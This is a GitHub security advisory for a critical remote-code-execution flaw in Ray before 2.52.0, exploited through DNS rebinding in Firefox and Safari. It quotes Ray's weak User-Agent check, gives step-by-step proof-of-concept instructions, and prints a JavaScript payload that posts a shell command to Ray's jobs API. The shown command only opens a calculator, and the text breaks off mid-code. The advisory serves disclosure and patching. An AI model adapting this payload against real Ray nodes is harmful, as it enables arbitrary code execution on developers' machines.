GHSA-q279-jhrf-cc6v Ray is vulnerable to Critical RCE via Safari & Firefox Browsers through DNS Rebinding Attack

• PyPI ray: < 2.52.0 → fixed in 2.52.0

Summary Developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari. Due to the longstanding decision by the Ray Development team to not implement any sort of authentication on critical endpoints, like the `/api/jobs` & `/api/job_agent/jobs/` has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari. This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the `User-Agent` header starting with the string "Mozilla" as a defense mechanism. This defense is insufficient as the fetch specification allows the `User-Agent` header to be modified. Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising). Details The mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient. Current Mitigation Strategies ```python def is_browser_request(req: Request) -> bool: """Checks if a request is made by a browser like user agent. This heuristic is very weak, but hard for a browser to bypass- eg, fetch/xhr and friends cannot alter the user-agent, but requests made with an http library can stumble into this if they choose to user a browser like user agent. """ return req.headers["User-Agent"].startswith("Mozilla") def deny_browser_requests() -> Callable: """Reject any requests that appear to be made by a browser""" def decorator_factory(f: Callable) -> Callable: @functools.wraps(f) async def decorator(self, req: Request): if is_browser_request(req): return Response( text="Browser requests not allowed", status=aiohttp.web.HTTPMethodNotAllowed.status_code, ) return await f(self, req) return decorator return decorator_factory ``` https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155 ```python @aiohttp.web.middleware async def browsers_no_post_put_middleware(self, request, handler): if ( # A best effort test for browser traffic. All common browsers # start with Mozilla at the time of writing. dashboard_optional_utils.is_browser_request(request) and request.method in [hdrs.METH_POST, hdrs.METH_PUT] ): return aiohttp.web.Response( status=405, text="Method Not Allowed for browser traffic." ) return await handler(request) ``` https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196 This is because the fundamental assumption that the `User-Agent` header can't be manipulated is incorrect. In Firefox and in Safari, the `fetch` API allows the `User-Agent` header to be set to a different value. Chrome is not vulnerable, ironically, because of a bug, bringing it out of spec with the `fetch` specification. Exploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like nccgroup/singularity. PoC Please note, this full PoC will be going live at time of disclosure. 1. Launch Ray `ray start --head --port=6379` 2. Ensure that the ray dashboard/service is running on port `8265` 3. Launch an internet facing version of NCCGroup/Singularity following the setup guide here. 4. Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html 5. Under "Attack Payload" select: `Ray Jobs RCE (default port 8265)` 6. Click "Start Attack". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3. 7. Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator. If this attack doesn't work, consider clicking the "Toggle Advanced Options" and trying an alternative "Rebinding Strategy". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks _may_ block DNS rebinding attacks, but likely not many. What's going on? This is the payload running in nccgroup/singularity: ```javascript /** • This payload exploits Ray (https://github.com/ray-project/ray) • It opens the "Calculator" application on various operating systems. • The payload can be easily modified to target different OSes or implementations. • The TCP port attacked is 8265. */ const RayRce = () => { // Invoked after DNS rebinding has been performed function attack(headers, cookie, body) { // Get the current timestamp in milliseconds const timestamp = Date.now(); // OS-agnostic calculator command that tries multiple approaches const calculatorCommand = ` # Try Windows calculator first if command -v calc.exe >/dev/null 2>&1; then echo Windows calculator launching calc.exe & # Try macOS calculator elif command -v open >/dev/null 2>&1; then echo macOS calculator launching open -a Calculator & elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then echo macOS calculator launching /System/Applications/Calculator.app/Contents/MacOS/Calculator & # Try Linux calculators elif command -v gnome-calculator >/dev/null 2>&1; then echo Linux calculator launching gnome-calculator & elif command -v kcalc >/dev/null 2>&1; then echo Linux calculator launching kcalc & elif command -v xcalc >/dev/null 2>&1; then echo Linux calculator launching xcalc & # Fallback: try to find any calculator binary else echo Linux calculator launching find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} & fi echo RAY RCE: By JLLeitschuh ${timestamp} `; const data = { "entrypoint": calculatorCommand, "runtime_env": {}, "job_id": null, "metadata": { "job_submission_id": timestamp.toString(), "source": "nccgroup/singluarity" } }; sooFetch('/api/jobs/', { method: 'POST', headers: { 'User-Agent': 'Other', }, body: JSON.stringify(data), }) .then(response => { console.log(response); return response.json() }) // parses JSON response into native JavaScript objects .then(data => { console.log('Success:', data); }) .catch((error) => { console.error('Error:', error); }); } // Invoked to determine whether the rebinded service // is the one targeted by this payload. Must return true or false. async function isService(headers, cookie, body) { return sooFetch("/",{ …